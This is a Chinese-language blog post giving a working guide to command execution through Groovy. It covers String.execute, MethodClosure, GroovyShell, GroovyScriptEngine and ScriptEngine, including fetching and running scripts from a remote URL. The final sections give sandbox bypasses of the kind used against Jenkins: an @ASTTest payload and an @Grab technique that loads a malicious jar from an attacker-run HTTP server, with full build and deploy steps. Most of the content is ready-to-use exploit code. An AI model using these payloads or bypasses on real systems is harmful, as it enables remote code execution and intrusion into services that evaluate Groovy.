Loading

Groovy命令执行指南

Groovy命令执行指南

本指南介绍了利用 Groovy脚本 执行系统命令、使用 MethodClosure、GroovyShell、GroovyScriptEngine 等多种方式执行方法。

直接命令执行

Groovy 允许直接在脚本中执行系统命令。

  • 直接进行执行
groovyCopy code
// test.groovy
//其他执行命令执行的方法
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
  • 执行后,回显的方式
groovyCopy code
// test.groovy
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"

def cmd = "whoami";
println "${cmd.execute().text}"

使用 MethodClosure

MethodClosure 允许将方法封装成闭包,便于执行。

示例 1:使用 Runtime.getRuntime().exec

javaCopy code
// test.java
// 创建 MethodClosure 封装 exec 方法,并执行 calc 命令
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
mc.call("calc");

示例 2:直接执行字符串命令

javaCopy code
// test.java
// 创建 MethodClosure 直接封装并执行字符串命令
MethodClosure mc = new MethodClosure("calc", "execute");
mc.call();

GroovyShell

GroovyShell 类用于执行 Groovy 脚本,支持多种数据源。

从字符串执行

javaCopy code
// test.java
// 使用 GroovyShell 从字符串执行 Groovy 代码
GroovyShell groovyShell = new GroovyShell();
String cmd = "\"whoami\".execute().text";
System.out.println(groovyShell.evaluate(cmd));

从文件执行

javaCopy code
// test.java
// 使用 GroovyShell 从文件执行 Groovy 脚本
GroovyShell groovyShell = new GroovyShell();
File file = new File("src/main/java/com/groovy/TestGroovyScript.groovy");
System.out.println(groovyShell.evaluate(file));

从 URI 执行

javaCopy code
// test.java
// 使用 GroovyShell 从 URI 执行 Groovy 脚本
GroovyShell groovyShell = new GroovyShell();
URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
System.out.println(groovyShell.evaluate(uri));

GroovyScriptEngine

GroovyScriptEngine 用于从指定源加载和执行 Groovy 脚本。

从本地文件系统加载脚本

javaCopy code
// test.java
// 使用 GroovyScriptEngine 从本地文件系统加载并执行脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
scriptEngine.run("TestGroovyScript.groovy", "");

从远程 URL 加载脚本

javaCopy code
// test.java
// 使用 GroovyScriptEngine 从远程 URL 加载并执行脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine.run("exp.groovy", "");

GroovyScriptEvaluator

使用 GroovyScriptEvaluator 执行 Groovy 代码,支持 StaticScriptSource 和 ResourceScriptSource。

使用 StaticScriptSource

javaCopy code
// test.java
// 使用 StaticScriptSource 执行 Groovy 代码
GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
System.out.println(groovyScriptEvaluator.evaluate(scriptSource));

使用 ResourceScriptSource

javaCopy code
// test.java
// 使用 ResourceScriptSource 从 URL 加载并执行 Groovy 脚本
Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
ScriptSource source = new ResourceScriptSource(urlResource);
System.out.println(groovyScriptEvaluator.evaluate(source));

GroovyClassLoader

GroovyClassLoader 用于在 Java 中加载和调用 Groovy 类。

javaCopy code
// test.java
// 使用 GroovyClassLoader 加载并执行 Groovy 类
GroovyClassLoader classLoader = new GroovyClassLoader();
Class clazz = classLoader.parseClass("class Test {\n" +
"    static void main(String[] args) {\n" +
"        GroovyShell groovyShell = new GroovyShell();\n" +
"        String cmd = \"\\\"whoami\\\".execute().text\";\n" +
"        println(groovyShell.evaluate(cmd).toString());\n" +
"    }\n" +
"}");
GroovyObject object = (GroovyObject) clazz.newInstance();
object.invokeMethod("main", "");

ScriptEngine

使用 javax.script.ScriptEngine 执行 Groovy 脚本。

javaCopy code
// test.java
// 使用 ScriptEngine 执行 Groovy 脚本并获取输出
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
System.out.println(scriptEngine.eval("\"whoami\".execute().text"));

Bypass 沙箱

某些环境下,会有groovy沙箱机制保护敏感脚本的执行(比如Jenkins中执行),这时候需要利用一些方法来绕过沙箱机制

@AST注解执行恶意类

使用@groovy.transform.ASTTest来进行沙箱绕过

//test.groovy
this.class.classLoader.parseClass('''
    @groovy.transform.ASTTest(value={
        assert Runtime.getRuntime().exec("calc")
    })
    def x
''')

注解的值是一个闭包,其中包含了恶意代码 Runtime.getRuntime().exec("calc"),该代码用于执行计算器程序。由于这段代码被注解标注,因此会在 AST 转换阶段被执行,绕过了沙箱的限制

@Grab注解加载远程恶意类

概述

Groovy的Grape机制允许开发者在不修改ClassPath的情况下,动态地引入Jar依赖。这可以通过使用@Grab注解实现,它指定了要下载和引入的库。然而,这个特性也可以被利用来动态地引入恶意代码,从而可能导致远程代码执行(RCE)。

环境准备

  1. 添加Ivy依赖:为了使Grape机制工作,需要向项目中添加Apache Ivy依赖。在项目的pom.xml中添加以下依赖项:
xmlCopy code
<dependency>
    <groupId>org.apache.ivy</groupId>
    <artifactId>ivy</artifactId>
    <version>2.4.0</version>
</dependency>
  1. 编写恶意Exp类:创建一个名为Exp的Java类,其构造函数中包含要执行的恶意代码。例如,下面的代码尝试执行系统计算器:
javaCopy code
public class Exp {
    public Exp() {
        try {
            java.lang.Runtime.getRuntime().exec("calc");
        } catch (Exception e) { }
    }
}

制作和部署恶意Jar包

  1. 编译Exp类:使用javac命令编译Exp.java文件。
bashCopy code
javac Exp.java
  1. 创建服务提供者配置文件:在META-INF/services/目录下创建一个服务提供者配置文件,指定Exp类作为org.codehaus.groovy.plugins.Runners的实现。
bashCopy code
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
  1. 打包Jar:将编译后的Exp.class文件和META-INF目录打包成Jar文件。
bashCopy code
jar cvf poc-0.jar Exp.class META-INF
  1. 部署Jar包:在Web服务器的根目录下创建test/poc/0/目录,并将打包好的Jar文件复制到该目录下。然后,启动HTTP服务以供远程访问。
#本目录下新建test/poc/0/
mkdir -p test/poc/0/
#复制jar包到目录中
#运行http服务器
python3 -m http.server 8000

利用@Grab注解执行RCE

编写Groovy脚本,使用@Grab注解和相关配置来动态加载并执行远程Jar包中的Exp类:

groovyCopy code
this.class.classLoader.parseClass('''
    @GrabConfig(disableChecksums=true)
    @GrabResolver(name='Exp', root='http://127.0.0.1:8000/')
    @Grab(group='test', module='poc', version='0')
    import Exp;
''')

执行过程

当运行上述Groovy脚本时,它会动态地从指定的HTTP服务下载并加载poc-0.jar,进而导入并实例化Exp类。由于Exp类的构造函数中包含了执行系统命令的代码,这将触发远程代码执行(RCE)。

posted @ 2024-02-08 19:09  Atomovo  阅读(838)  评论(0编辑  收藏  举报